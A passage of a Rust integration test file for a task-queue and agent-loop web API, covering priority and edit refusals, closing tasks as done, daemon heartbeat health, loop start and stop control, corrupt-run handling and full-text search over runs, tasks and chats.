17606 task.start("20260902-140502-bbbb".to_owned());
17607 queue.put(&mut task).expect("file the task");
17608
17609 let res = f
17610 .post(
17611 &format!("/api/queue/{}/priority", task.id),
17612 Some(r#"{"priority":9}"#),
17613 )
17614 .await;
17615 assert_eq!(res.status, 400, "{}", res.body);
17616 assert!(
17617 res.json()["error"]
17618 .as_str()
17619 .is_some_and(|e| e.contains("running")),
17620 "{}",
17621 res.body
17622 );
17623 assert_eq!(
17624 queue.get(&task.id).expect("reload").priority,
17625 0,
17626 "the refused write must not partially apply"
17627 );
17628 }
17629
17630 #[tokio::test]
17631 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17632 let f = Fixture::start().await;
17633 let queue = f.queue();
17634 let mut task = Task::new(
17635 "old title".to_owned(),
17636 "old instruction".to_owned(),
17637 PathBuf::from("/repo/magi"),
17638 Source::Agent {
17639 run: "20260101-000000-beef".to_owned(),
17640 node: "implement".to_owned(),
17641 },
17642 );
17643 task.runs.push("20260101-000000-beef".to_owned());
17644 queue.put(&mut task).expect("file the task");
17645 let created_at = task.created_at;
17646
17647 let edited = f
17648 .post(
17649 &format!("/api/queue/{}/edit", task.id),
17650 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17651 )
17652 .await;
17653 assert_eq!(edited.status, 200, "{}", edited.body);
17654 let body = edited.json();
17655 assert_eq!(body["title"], "new title");
17656 assert_eq!(body["instruction"], "new instruction");
17657 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17658 assert_eq!(body["created_at"], created_at.to_string());
17659 assert_eq!(
17660 body["source"]["kind"], "agent",
17661 "editing a task an agent filed must not turn it human: {body}"
17662 );
17663 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17664
17665 let reloaded = queue.get(&task.id).expect("reload");
17666 assert_eq!(reloaded.title, "new title");
17667 assert_eq!(reloaded.instruction, "new instruction");
17668 }
17669
17670 #[tokio::test]
17671 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17672 let tmp = TempDir::new().expect("tempdir");
17675 let repo = tmp.path().join("repo");
17676 std::fs::create_dir_all(&repo).expect("repo dir");
17677 let judge = MOCK_AGENT_TOML.replace(
17678 "printf ok",
17679 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17680 );
17681 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17682 let f = Fixture::with_repo(repo.clone()).await;
17683 let queue = f.queue();
17684 let mut owner = Task::new(
17685 "owner".to_owned(),
17686 "review it".to_owned(),
17687 repo.clone(),
17688 Source::Human,
17689 );
17690 owner.review_branch = Some("magi/ab12/A".to_owned());
17691 queue.put(&mut owner).expect("file the owner");
17692 let mut task = Task::new(
17693 "draft".to_owned(),
17694 "old".to_owned(),
17695 repo.clone(),
17696 Source::Human,
17697 );
17698 queue.put(&mut task).expect("file the draft");
17699 let url = format!("/api/queue/{}/edit", task.id);
17700
17701 let refused = f
17702 .post(
17703 &url,
17704 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17705 )
17706 .await;
17707 assert_eq!(refused.status, 409, "{}", refused.body);
17708 let msg = refused.json()["error"]
17709 .as_str()
17710 .unwrap_or_default()
17711 .to_owned();
17712 assert!(
17713 msg.contains("magi/ab12/A") && msg.contains("force"),
17714 "{msg}"
17715 );
17716 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17717
17718 let forced = f
17719 .post(
17720 &url,
17721 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17722 )
17723 .await;
17724 assert_eq!(forced.status, 200, "{}", forced.body);
17725 }
17726
17727 #[tokio::test]
17728 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17729 let f = Fixture::start().await;
17730 let queue = f.queue();
17731 let mut task = Task::new(
17732 "in flight".to_owned(),
17733 "do not touch".to_owned(),
17734 PathBuf::from("/repo/magi"),
17735 Source::Human,
17736 );
17737 task.start("20260902-140502-bbbb".to_owned());
17738 queue.put(&mut task).expect("file the task");
17739
17740 let res = f
17741 .post(
17742 &format!("/api/queue/{}/edit", task.id),
17743 Some(r#"{"title":"x","instruction":"y"}"#),
17744 )
17745 .await;
17746 assert_eq!(res.status, 400, "{}", res.body);
17747 assert!(
17748 res.json()["error"]
17749 .as_str()
17750 .is_some_and(|e| e.contains("running")),
17751 "{}",
17752 res.body
17753 );
17754 assert_eq!(
17755 queue.get(&task.id).expect("reload").instruction,
17756 "do not touch",
17757 "the refused edit must not change the file"
17758 );
17759 }
17760
17761 #[tokio::test]
17762 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17763 let f = Fixture::start().await;
17764 let queue = f.queue();
17765 let mut task = Task::new(
17766 "busy".to_owned(),
17767 "Running right now".to_owned(),
17768 PathBuf::from("/repo/magi"),
17769 Source::Human,
17770 );
17771 queue.put(&mut task).expect("file the task");
17772 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17773
17774 let priority = f
17775 .post(
17776 &format!("/api/queue/{}/priority", task.id),
17777 Some(r#"{"priority":9}"#),
17778 )
17779 .await;
17780 assert_eq!(priority.status, 409, "{}", priority.body);
17781
17782 let edit = f
17783 .post(
17784 &format!("/api/queue/{}/edit", task.id),
17785 Some(r#"{"title":"x","instruction":"y"}"#),
17786 )
17787 .await;
17788 assert_eq!(edit.status, 409, "{}", edit.body);
17789 }
17790
17791 #[tokio::test]
17792 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17793 let f = Fixture::start().await;
17794 let queue = f.queue();
17795 let mut task = Task::new(
17796 "shipped by hand".to_owned(),
17797 "merged outside the loop".to_owned(),
17798 PathBuf::from("/repo/magi"),
17799 Source::Agent {
17800 run: "20260101-000000-b455".to_owned(),
17801 node: "implement".to_owned(),
17802 },
17803 );
17804 task.runs.push("20260101-000000-b455".to_owned());
17805 task.runs.push("20260101-000000-9af4".to_owned());
17806 queue.put(&mut task).expect("file the task");
17807 let created_at = task.created_at;
17808
17809 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17810 assert_eq!(done.status, 200, "{}", done.body);
17811 assert_eq!(done.json()["status_str"], "done");
17812
17813 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17814 assert_eq!(
17815 reloaded.runs,
17816 ["20260101-000000-b455", "20260101-000000-9af4"]
17817 );
17818 assert_eq!(
17819 reloaded.source,
17820 Source::Agent {
17821 run: "20260101-000000-b455".to_owned(),
17822 node: "implement".to_owned(),
17823 }
17824 );
17825 assert_eq!(reloaded.created_at, created_at);
17826 }
17827
17828 #[tokio::test]
17829 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17830 let f = Fixture::start().await;
17835 let queue = f.queue();
17836 let mut task = Task::new(
17837 "landed while held".to_owned(),
17838 "x".to_owned(),
17839 PathBuf::from("/repo/magi"),
17840 Source::Human,
17841 );
17842 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17843 queue.put(&mut task).expect("file the held task");
17844
17845 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17846 assert_eq!(done.status, 200, "{}", done.body);
17847 assert_eq!(done.json()["status_str"], "done");
17848 assert!(
17849 done.json()["hold_reason"].is_null(),
17850 "a done task cannot still be waiting on something: {}",
17851 done.body
17852 );
17853 }
17854
17855 #[tokio::test]
17856 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17857 let f = Fixture::start().await;
17862 let queue = f.queue();
17863 let runs = f.runs();
17864 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17865 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17869
17870 let mut task = Task::new(
17871 "landed by hand".to_owned(),
17872 "x".to_owned(),
17873 PathBuf::from("/repo/magi"),
17874 Source::Human,
17875 );
17876 task.runs.push("20260101-000000-doa1".to_owned());
17877 task.runs.push("20260101-000000-doa2".to_owned());
17878 queue.put(&mut task).expect("file the task");
17879
17880 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17881 assert_eq!(done.status, 200, "{}", done.body);
17882
17883 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17884 .expect("run still on disk under this fixture's own home");
17885 assert_eq!(
17886 reloaded_run.status,
17887 RunStatus::Superseded,
17888 "closing the task by hand must relabel the earlier blocked attempt exactly \
17889 like the loop's own settle path does"
17890 );
17891 }
17892
17893 #[tokio::test]
17894 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17895 let f = Fixture::start().await;
17900 let queue = f.queue();
17901 let runs = f.runs();
17902 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17903 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17904
17905 let mut task = Task::new(
17906 "closed with nothing actually landed".to_owned(),
17907 "x".to_owned(),
17908 PathBuf::from("/repo/magi"),
17909 Source::Human,
17910 );
17911 task.runs.push("20260101-000000-dob1".to_owned());
17912 task.runs.push("20260101-000000-dob2".to_owned());
17913 queue.put(&mut task).expect("file the task");
17914
17915 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17916 assert_eq!(done.status, 200, "{}", done.body);
17917
17918 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17919 .expect("run still on disk under this fixture's own home");
17920 assert_eq!(
17921 reloaded_run.status,
17922 RunStatus::Blocked,
17923 "the last recorded attempt never landed, so the earlier one must not be \
17924 relabelled as superseded by it"
17925 );
17926 }
17927
17928 #[tokio::test]
17929 async fn unknown_ids_are_json_not_found_on_both_stores() {
17930 let f = Fixture::start().await;
17931
17932 let run = f.get("/api/runs/nosuchrun").await;
17933 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17934
17935 assert_eq!(run.status, 404);
17936 assert_eq!(task.status, 404);
17937 assert!(
17938 run.json()["error"]
17939 .as_str()
17940 .is_some_and(|e| e.contains("run")),
17941 "the error names what was not found: {}",
17942 run.body
17943 );
17944 assert!(
17945 task.json()["error"]
17946 .as_str()
17947 .is_some_and(|e| e.contains("task")),
17948 "the error names what was not found: {}",
17949 task.body
17950 );
17951 }
17952
17953 #[tokio::test]
17954 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17955 let f = Fixture::start().await;
17956
17957 let missing = f.get("/api/health").await.json();
17958 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17959
17960 write_daemon(
17961 f.home.path(),
17962 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17963 );
17964 let stale = f.get("/api/health").await.json();
17965 assert_eq!(
17966 stale["daemon"]["running"], false,
17967 "a minute without a heartbeat is a dead daemon, not a busy one"
17968 );
17969 assert!(
17970 stale["daemon"]["stale_for_secs"]
17971 .as_i64()
17972 .is_some_and(|s| s >= 55),
17973 "staleness is reported so the UI can say how long: {stale}"
17974 );
17975
17976 write_daemon(f.home.path(), Timestamp::now());
17977 let fresh = f.get("/api/health").await.json();
17978 assert_eq!(fresh["daemon"]["running"], true);
17979 assert_eq!(fresh["daemon"]["idle"], false);
17980 assert_eq!(fresh["daemon"]["pid"], 4242);
17981 assert_eq!(fresh["daemon"]["completed"], 7);
17982 assert_eq!(
17983 fresh["daemon"]["current"][0]["task"],
17984 "20260902-140501-aaaa"
17985 );
17986 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17987 }
17988
17989 #[tokio::test]
17990 async fn the_loop_is_not_running_until_something_starts_it() {
17991 let f = Fixture::start().await;
17992
17993 let view = f.get("/api/loop").await.json();
17994 assert_eq!(view["running"], false);
17995 assert_eq!(
17996 view["owned"], false,
17997 "nobody owns a loop that does not exist: {view}"
17998 );
17999 assert_eq!(view["stopping"], false);
18000 assert_eq!(view["last_error"], Value::Null);
18001 assert_eq!(view["daemon"]["running"], false);
18002 assert_eq!(
18003 view["repo"], "/repo/magi",
18004 "the repository a start would use, named before it is started"
18005 );
18006 }
18007
18008 #[tokio::test]
18009 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18010 let f = Fixture::start().await;
18011
18012 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18013 assert_eq!(res.status, 200, "{}", res.body);
18014 let view = res.json();
18015 assert_eq!(view["running"], true);
18016 assert_eq!(
18017 view["owned"], true,
18018 "the loop the UI started is the UI's own to stop: {view}"
18019 );
18020 assert_eq!(
18021 view["merge"],
18022 Value::Null,
18023 "no override was given, so each repository's own config decides"
18024 );
18025
18026 let health = f.get("/api/health").await.json();
18030 assert_eq!(health["loop"]["running"], true, "{health}");
18031 assert_eq!(health["loop"]["owned"], true, "{health}");
18032
18033 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18034 }
18035
18036 #[tokio::test]
18037 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18038 let f = Fixture::start().await;
18039 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18040 assert_eq!(first.status, 200, "{}", first.body);
18041
18042 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18043 assert_eq!(
18044 again.status, 409,
18045 "two loops on one queue race for the same claims: {}",
18046 again.body
18047 );
18048 assert!(
18049 again.json()["error"]
18050 .as_str()
18051 .is_some_and(|e| e.contains("already running the loop")),
18052 "the refusal has to say why: {}",
18053 again.body
18054 );
18055 assert_eq!(
18056 f.get("/api/loop").await.json()["running"],
18057 true,
18058 "and the loop that was already running is untouched by it"
18059 );
18060
18061 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18062 }
18063
18064 #[tokio::test]
18065 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18066 let f = Fixture::start().await;
18067 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18068
18069 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18070 assert_eq!(
18071 res.status, 200,
18072 "the answer must not wait for the loop: a run in flight is tens of \
18073 minutes and the operator is holding a phone: {}",
18074 res.body
18075 );
18076
18077 let view = settled(&f, |v| v["running"] == false).await;
18078 assert_eq!(view["owned"], false);
18079 assert_eq!(
18080 view["stopping"], false,
18081 "a loop that has stopped is not still stopping: {view}"
18082 );
18083 assert_eq!(
18084 view["last_error"],
18085 Value::Null,
18086 "a loop that was asked to stop did not fail: {view}"
18087 );
18088
18089 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18092 assert_eq!(twice.status, 200, "{}", twice.body);
18093 }
18094
18095 #[tokio::test]
18096 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18097 let f = Fixture::start().await;
18098 write_daemon(f.home.path(), Timestamp::now());
18101
18102 let view = f.get("/api/loop").await.json();
18103 assert_eq!(view["running"], false, "not in this process: {view}");
18104 assert_eq!(view["owned"], false, "and not this process's to control");
18105 assert_eq!(
18106 view["daemon"]["running"], true,
18107 "but a loop is alive somewhere, which is what the UI must say"
18108 );
18109 assert_eq!(view["daemon"]["pid"], 4242);
18110
18111 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18112 let res = f.post("/api/loop", Some(body)).await;
18113 assert_eq!(
18114 res.status, 409,
18115 "neither button may pretend to work on someone else's loop: {}",
18116 res.body
18117 );
18118 assert!(
18119 res.json()["error"]
18120 .as_str()
18121 .is_some_and(|e| e.contains("4242")),
18122 "the refusal has to name the process the operator must go to: {}",
18123 res.body
18124 );
18125 }
18126 assert_eq!(
18127 f.get("/api/loop").await.json()["running"],
18128 false,
18129 "and the refusal started nothing"
18130 );
18131 }
18132
18133 #[tokio::test]
18134 async fn a_stale_status_file_is_not_a_foreign_owner() {
18135 let f = Fixture::start().await;
18136 write_daemon(
18137 f.home.path(),
18138 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18139 );
18140
18141 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18142 assert_eq!(
18143 res.status, 200,
18144 "a daemon killed a minute ago must not lock the loop out of its \
18145 own home for good: {}",
18146 res.body
18147 );
18148 assert_eq!(res.json()["running"], true);
18149
18150 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18151 }
18152
18153 #[tokio::test]
18154 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18155 let f = Fixture::start().await;
18156 let before = f.get("/api/health").await.json()["loop_rev"]
18157 .as_u64()
18158 .expect("a loop revision");
18159
18160 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18161
18162 let after = f.get("/api/health").await.json()["loop_rev"]
18163 .as_u64()
18164 .expect("a loop revision");
18165 assert!(
18166 after > before,
18167 "the loop is in-process state, so this counter is the only thing \
18168 that tells a second device the first one started it: {before} -> \
18169 {after}"
18170 );
18171
18172 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18173 }
18174
18175 #[tokio::test]
18176 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18177 let f = Fixture::with_loop(launch_broken).await;
18178
18179 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18180 assert_eq!(
18181 res.status, 200,
18182 "starting it is not the failure: {}",
18183 res.body
18184 );
18185
18186 let view = settled(&f, |v| v["last_error"].is_string()).await;
18187 assert_eq!(
18188 view["running"], false,
18189 "a loop that died must not read as running, or the operator has \
18190 nothing to press: {view}"
18191 );
18192 assert_eq!(view["owned"], false);
18193 assert!(
18194 view["last_error"]
18195 .as_str()
18196 .is_some_and(|e| e.contains("read-only file system")),
18197 "the phone is where a loop that died at 3am is visible: {view}"
18198 );
18199
18200 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18203 assert_eq!(again.status, 200, "{}", again.body);
18204 assert!(
18205 again.json()["last_error"]
18206 .as_str()
18207 .is_none_or(|e| !e.contains("read-only file system")),
18208 "a fresh start does not keep showing why the last one died: {}",
18209 again.body
18210 );
18211 }
18212
18213 #[tokio::test]
18214 async fn a_newer_daemon_status_file_still_renders() {
18215 let f = Fixture::start().await;
18216 std::fs::write(
18219 f.home.path().join("daemon.json"),
18220 serde_json::json!({
18221 "schema": 2,
18222 "updated_at": Timestamp::now().to_string(),
18223 "idle": true,
18224 "surprise": { "nested": [1, 2, 3] },
18225 })
18226 .to_string(),
18227 )
18228 .expect("write daemon.json");
18229
18230 let health = f.get("/api/health").await;
18231
18232 assert_eq!(health.status, 200);
18233 assert_eq!(health.json()["daemon"]["running"], true);
18234 }
18235
18236 #[tokio::test]
18237 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18238 let f = Fixture::start().await;
18239 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18240 let broken = f.runs().join("20260902-140502-bad");
18241 std::fs::create_dir_all(&broken).expect("run dir");
18242 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18243
18244 let list = f.get("/api/runs").await;
18245 let detail = f.get("/api/runs/20260902-140502-bad").await;
18246
18247 assert_eq!(list.status, 200);
18248 let listed = list.json();
18249 let ids: Vec<&str> = listed
18250 .as_array()
18251 .expect("an array")
18252 .iter()
18253 .map(|r| r["id"].as_str().expect("an id"))
18254 .collect();
18255 assert_eq!(
18256 ids,
18257 vec!["20260902-140501-good"],
18258 "one unreadable run must not cost the operator the whole history"
18259 );
18260 assert_eq!(detail.status, 500);
18261 assert!(
18262 detail.json()["error"]
18263 .as_str()
18264 .is_some_and(|e| e.contains("run.json")),
18265 "the failure names the file to look at: {}",
18266 detail.body
18267 );
18268 let health = f.get("/api/health").await;
18272 assert_eq!(health.json()["runs_unreadable"], 1);
18273 }
18274
18275 #[tokio::test]
18277 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18278 let f = Fixture::start().await;
18279 let runs = f.runs();
18280 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18281 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18282 let path = runs.join("20260902-140502-bbbb").join("run.json");
18285 let mut v: serde_json::Value =
18286 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18287 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18288 std::fs::write(&path, v.to_string()).unwrap();
18289 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18290 std::fs::write(
18291 runs.join("20260902-140503-cccc").join("run.json"),
18292 "{ not json",
18293 )
18294 .unwrap();
18295
18296 let res = f.get("/api/search?scope=runs&q=quokka").await;
18297 assert_eq!(res.status, 200, "{}", res.body);
18298 let v = res.json();
18299 assert_eq!(v["total"], 1, "{v}");
18300 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18301 assert_eq!(v["hits"][0]["field"], "text");
18302 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18303 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18304 assert!(
18305 parts
18306 .iter()
18307 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18308 "{v}"
18309 );
18310 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18311 assert_eq!(
18312 flat, "The Quokka leaks across threads",
18313 "whitespace is collapsed"
18314 );
18315
18316 let both = f
18318 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18319 .await
18320 .json();
18321 assert_eq!(both["total"], 1, "{both}");
18322 let neither = f
18323 .get("/api/search?scope=runs&q=quokka%20zebra")
18324 .await
18325 .json();
18326 assert_eq!(neither["total"], 0, "{neither}");
18327 let stmt = f
18329 .get("/api/search?scope=runs&q=mobile%20first")
18330 .await
18331 .json();
18332 assert_eq!(stmt["total"], 2, "{stmt}");
18333 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18334 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18335 }
18336
18337 #[test]
18338 fn snippet_ignores_terms_longer_than_the_field() {
18339 let terms = ["ok".to_owned(), "elephant".to_owned()];
18340 let parts = snippet_of("ok", &terms);
18341 assert_eq!(
18342 parts,
18343 vec![SnippetPart {
18344 text: "ok".to_owned(),
18345 hit: true
18346 }]
18347 );
18348 }
18349
18350 #[test]
18351 fn snippet_marks_matches_longer_than_the_window() {
18352 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18353 let hit_len = |parts: &[SnippetPart]| -> usize {
18354 parts
18355 .iter()
18356 .filter(|p| p.hit)
18357 .map(|p| p.text.chars().count())
18358 .sum()
18359 };
18360 let total =
18361 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18362
18363 let long = "a".repeat(120);
18364 let parts = snippet_of(&long, std::slice::from_ref(&long));
18365 assert!(hit_len(&parts) > 0, "{parts:?}");
18366 assert!(total(&parts) <= cap);
18367
18368 let ja = "あ".repeat(130);
18369 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18370 assert!(hit_len(&parts) > 0, "{parts:?}");
18371 assert!(total(&parts) <= cap);
18372
18373 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18375 let term = format!("ab{}", "c".repeat(100));
18376 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18377 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18378 assert!(total(&parts) <= cap);
18379
18380 let text = format!("{}z", "a".repeat(119));
18382 let parts = snippet_of(&text, &["a".repeat(120)]);
18383 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18384 }
18385
18386 #[tokio::test]
18387 async fn search_caps_hits_and_snippet_length() {
18388 let f = Fixture::start().await;
18389 let runs = f.runs();
18390 for n in 0..(SEARCH_MAX_HITS + 5) {
18391 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18392 }
18393 let v = f.get("/api/search?scope=runs&q=web").await.json();
18394 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18395 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18396 assert_eq!(v["truncated"], true);
18397 assert!(
18399 v["hits"]
18400 .as_array()
18401 .unwrap()
18402 .iter()
18403 .all(|h| h["run"]["status"] == "merged")
18404 );
18405
18406 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18407 let parts = snippet_of(&long, &["needle".to_owned()]);
18408 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18409 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18410 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18411 }
18412
18413 #[tokio::test]
18414 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18415 let f = Fixture::start().await;
18416 let queue = f.queue();
18417 let mut t = Task::new(
18418 "short title".to_owned(),
18419 "line one\nthe hidden Armadillo detail".to_owned(),
18420 PathBuf::from("/repo/magi"),
18421 Source::Agent {
18422 run: "r1".to_owned(),
18423 node: "chat".to_owned(),
18424 },
18425 );
18426 t.last_error = Some("disk full on /tmp".to_owned());
18427 queue.put(&mut t).expect("file the task");
18428
18429 for (q, want) in [
18430 ("armadillo", 1),
18431 ("disk%20FULL", 1),
18432 ("chat", 1),
18433 ("queued", 1),
18434 ("short%20nothing", 0),
18435 ] {
18436 let v = f
18437 .get(&format!("/api/search?scope=tasks&q={q}"))
18438 .await
18439 .json();
18440 assert_eq!(v["total"], want, "{q}: {v}");
18441 }
18442 for bad in [
18443 "/api/search?scope=tasks&q=",
18444 "/api/search?scope=tasks&q=%20",
18445 "/api/search?scope=chats&q=",
18446 "/api/search?scope=chats&q=%20",
18447 "/api/search?scope=nope&q=a",
18448 "/api/search?q=a",
18449 ] {
18450 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18451 }
18452 }
18453
18454 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18456 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18457 .expect("seat value");
18458 let turns: Vec<serde_json::Value> = turns
18459 .iter()
18460 .map(|(who, body)| {
18461 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18462 })
18463 .collect();
18464 let doc = serde_json::json!({
18465 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18466 "status": status, "turns": turns,
18467 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18468 "seat": seat,
18469 });
18470 let dir = f.home.path().join("talks");
18471 std::fs::create_dir_all(&dir).expect("talks dir");
18472 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18473 }
18474
18475 #[test]
18476 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18477 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18478 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18479 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18480 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18481 "seat": crate::agent::SeatState::new("talk", "test", 1)
18482 })).unwrap();
18483 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18484 talk.title = Some(talk::ChatTitle {
18485 text: "最近の話題".into(),
18486 source: talk::TitleSource::Generated,
18487 });
18488 let doc = talk_search_doc(&talk);
18489 assert_eq!(doc["title"], "最近の話題");
18490 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18491 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18492 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18493 }
18494
18495 #[tokio::test]
18496 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18497 let f = Fixture::start().await;
18498 write_talk(
18499 &f,
18500 "20260901-000001-aaaa",
18501 "open",
18502 &[
18503 (
18504 "operator",
18505 "\n Why does the Pangolin cache expire?\nsecond line",
18506 ),
18507 ("agent", "Because the TTL is thirty seconds."),
18508 ],
18509 );
18510 write_talk(
18511 &f,
18512 "20260901-000002-bbbb",
18513 "closed",
18514 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18515 );
18516 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18517
18518 let search = |q: &'static str| {
18519 let f = &f;
18520 async move {
18521 f.get(&format!("/api/search?scope=chats&q={q}"))
18522 .await
18523 .json()
18524 }
18525 };
18526
18527 let v = search("PANGOLIN").await;
18528 assert_eq!(v["scope"], "chats");
18529 assert_eq!(v["total"], 1, "{v}");
18530 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18531 assert_eq!(v["hits"][0]["field"], "title");
18532 assert_eq!(v["unreadable"], 1, "{v}");
18533 let marked: Vec<&str> = v["hits"][0]["snippet"]
18534 .as_array()
18535 .unwrap()
18536 .iter()
18537 .filter(|p| p["hit"] == true)
18538 .map(|p| p["text"].as_str().unwrap())
18539 .collect();
18540 assert_eq!(marked, ["Pangolin"]);
18541
18542 let v = search("zebra").await;
18544 assert_eq!(v["total"], 1, "{v}");
18545 assert_eq!(v["hits"][0]["field"], "agent");
18546 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18548 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18549 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18551 assert_eq!(search(q).await["total"], 0, "{q}");
18552 }
18553 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18555 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18557
18558 let v = f.get("/api/search?scope=nope&q=a").await;
18559 assert_eq!(v.status, 400);
18560 assert!(
18561 v.body.contains("scope must be runs, tasks or chats"),
18562 "{}",
18563 v.body
18564 );
18565 }
18566
18567 #[test]
18568 fn a_question_card_links_a_task_id_to_the_task_page() {
18569 let start = APP_JS
18570 .find("function updateAskCard(")
18571 .expect("updateAskCard exists");
18572 let body = &APP_JS[start..];
18573 let body = &body[..body.find("\n}\n").expect("function end")];
18574 assert!(body.contains("question.run_is_task"));
